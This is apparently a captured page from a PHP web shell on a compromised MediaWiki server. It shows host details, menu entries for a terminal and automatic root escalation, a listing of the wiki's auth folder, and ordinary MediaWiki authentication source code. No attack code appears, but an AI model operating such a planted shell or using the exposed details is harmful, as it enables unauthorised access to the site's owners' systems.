Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
includes /
auth /
Delete
Unzip
Name
Size
Permission
Date
Action
AbstractAuthenticationProvider.php
1.59
KB
-rw-r--r--
2016-11-28 20:20
AbstractPasswordPrimaryAuthenticationProvider.php
4.92
KB
-rw-r--r--
2016-11-28 20:20
AbstractPreAuthenticationProvider.php
1.81
KB
-rw-r--r--
2016-11-28 20:20
AbstractPrimaryAuthenticationProvider.php
3.56
KB
-rw-r--r--
2016-11-28 20:20
AbstractSecondaryAuthenticationProvider.php
2.64
KB
-rw-r--r--
2016-11-28 20:20
AuthManager.php
82.73
KB
-rw-r--r--
2016-11-28 20:20
AuthManagerAuthPlugin.php
6.26
KB
-rw-r--r--
2016-11-28 20:20
AuthPluginPrimaryAuthenticationProvider.php
13.02
KB
-rw-r--r--
2016-11-28 20:20
AuthenticationProvider.php
3.4
KB
-rw-r--r--
2016-11-28 20:20
AuthenticationRequest.php
13
KB
-rw-r--r--
2016-11-28 20:20
AuthenticationResponse.php
7.18
KB
-rw-r--r--
2016-11-28 20:20
ButtonAuthenticationRequest.php
3.24
KB
-rw-r--r--
2016-11-28 20:20
CheckBlocksSecondaryAuthenticationProvider.php
2.84
KB
-rw-r--r--
2016-11-28 20:20
ConfirmLinkAuthenticationRequest.php
2.38
KB
-rw-r--r--
2016-11-28 20:20
ConfirmLinkSecondaryAuthenticationProvider.php
4.75
KB
-rw-r--r--
2016-11-28 20:20
CreateFromLoginAuthenticationRequest.php
2.76
KB
-rw-r--r--
2016-11-28 20:20
CreatedAccountAuthenticationRequest.php
1.29
KB
-rw-r--r--
2016-11-28 20:20
CreationReasonAuthenticationRequest.php
569
B
-rw-r--r--
2016-11-28 20:20
EmailNotificationSecondaryAuthenticationProvider.php
1.99
KB
-rw-r--r--
2016-11-28 20:20
LegacyHookPreAuthenticationProvider.php
5.66
KB
-rw-r--r--
2016-11-28 20:20
LocalPasswordPrimaryAuthenticationProvider.php
9.4
KB
-rw-r--r--
2016-11-28 20:20
PasswordAuthenticationRequest.php
2.43
KB
-rw-r--r--
2016-11-28 20:20
PasswordDomainAuthenticationRequest.php
2.31
KB
-rw-r--r--
2016-11-28 20:20
PreAuthenticationProvider.php
5.62
KB
-rw-r--r--
2016-11-28 20:20
PrimaryAuthenticationProvider.php
16.71
KB
-rw-r--r--
2016-11-28 20:20
RememberMeAuthenticationRequest.php
1.96
KB
-rw-r--r--
2016-11-28 20:20
ResetPasswordSecondaryAuthenticationProvider.php
4.49
KB
-rw-r--r--
2016-11-28 20:20
SecondaryAuthenticationProvider.php
10.78
KB
-rw-r--r--
2016-11-28 20:20
TemporaryPasswordAuthenticationRequest.php
2.92
KB
-rw-r--r--
2016-11-28 20:20
TemporaryPasswordPrimaryAuthenticationProvider.php
14.11
KB
-rw-r--r--
2016-11-28 20:20
ThrottlePreAuthenticationProvider.php
5.85
KB
-rw-r--r--
2016-11-28 20:20
Throttler.php
6.95
KB
-rw-r--r--
2016-11-28 20:20
UserDataAuthenticationRequest.php
2.42
KB
-rw-r--r--
2016-11-28 20:20
UsernameAuthenticationRequest.php
1.19
KB
-rw-r--r--
2016-11-28 20:20
Save
Rename
<?php namespace MediaWiki\Auth; use User; /** * Links third-party authentication to the user's account * * If the user logged into linking provider accounts that aren't linked to a * local user, this provider will prompt the user to link them after a * successful login or account creation. * * To avoid confusing behavior, this provider should be later in the * configuration list than any provider that can abort the authentication * process, so that it is only invoked for successful authentication. */ class ConfirmLinkSecondaryAuthenticationProvider extends AbstractSecondaryAuthenticationProvider { public function getAuthenticationRequests( $action, array $options ) { return []; } public function beginSecondaryAuthentication( $user, array $reqs ) { return $this->beginLinkAttempt( $user, 'AuthManager::authnState' ); } public function continueSecondaryAuthentication( $user, array $reqs ) { return $this->continueLinkAttempt( $user, 'AuthManager::authnState', $reqs ); } public function beginSecondaryAccountCreation( $user, $creator, array $reqs ) { return $this->beginLinkAttempt( $user, 'AuthManager::accountCreationState' ); } public function continueSecondaryAccountCreation( $user, $creator, array $reqs ) { return $this->continueLinkAttempt( $user, 'AuthManager::accountCreationState', $reqs ); } /** * Begin the link attempt * @param User $user * @param string $key Session key to look in * @return AuthenticationResponse */ protected function beginLinkAttempt( $user, $key ) { $session = $this->manager->getRequest()->getSession(); $state = $session->getSecret( $key ); if ( !is_array( $state ) ) { return AuthenticationResponse::newAbstain(); } $maybeLink = array_filter( $state['maybeLink'], function ( $req ) use ( $user ) { if ( !$req->action ) { $req->action = AuthManager::ACTION_CHANGE; } $req->username = $user->getName(); return $this->manager->allowsAuthenticationDataChange( $req )->isGood(); } ); if ( !$maybeLink ) { return AuthenticationResponse::newAbstain(); } $req = new ConfirmLinkAuthenticationRequest( $maybeLink ); return AuthenticationResponse::newUI( [ $req ], wfMessage( 'authprovider-confirmlink-message' ), 'warning' ); } /** * Continue the link attempt * @param User $user * @param string $key Session key to look in * @param AuthenticationRequest[] $reqs * @return AuthenticationResponse */ protected function continueLinkAttempt( $user, $key, array $reqs ) { $req = ButtonAuthenticationRequest::getRequestByName( $reqs, 'linkOk' ); if ( $req ) { return AuthenticationResponse::newPass(); } $req = AuthenticationRequest::getRequestByClass( $reqs, ConfirmLinkAuthenticationRequest::class ); if ( !$req ) { // WTF? Retry. return $this->beginLinkAttempt( $user, $key ); } $session = $this->manager->getRequest()->getSession(); $state = $session->getSecret( $key ); if ( !is_array( $state ) ) { return AuthenticationResponse::newAbstain(); } $maybeLink = []; foreach ( $state['maybeLink'] as $linkReq ) { $maybeLink[$linkReq->getUniqueId()] = $linkReq; } if ( !$maybeLink ) { return AuthenticationResponse::newAbstain(); } $state['maybeLink'] = []; $session->setSecret( $key, $state ); $statuses = []; $anyFailed = false; foreach ( $req->confirmedLinkIDs as $id ) { if ( isset( $maybeLink[$id] ) ) { $req = $maybeLink[$id]; $req->username = $user->getName(); if ( !$req->action ) { // Make sure the action is set, but don't override it if // the provider filled it in. $req->action = AuthManager::ACTION_CHANGE; } $status = $this->manager->allowsAuthenticationDataChange( $req ); $statuses[] = [ $req, $status ]; if ( $status->isGood() ) { $this->manager->changeAuthenticationData( $req ); } else { $anyFailed = true; } } } if ( !$anyFailed ) { return AuthenticationResponse::newPass(); } $combinedStatus = \Status::newGood(); foreach ( $statuses as $data ) { list( $req, $status ) = $data; $descriptionInfo = $req->describeCredentials(); $description = wfMessage( 'authprovider-confirmlink-option', $descriptionInfo['provider']->text(), $descriptionInfo['account']->text() )->text(); if ( $status->isGood() ) { $combinedStatus->error( wfMessage( 'authprovider-confirmlink-success-line', $description ) ); } else { $combinedStatus->error( wfMessage( 'authprovider-confirmlink-failed-line', $description, $status->getMessage()->text() ) ); } } return AuthenticationResponse::newUI( [ new ButtonAuthenticationRequest( 'linkOk', wfMessage( 'ok' ), wfMessage( 'authprovider-confirmlink-ok-help' ) ) ], $combinedStatus->getMessage( 'authprovider-confirmlink-failed' ), 'error' ); } }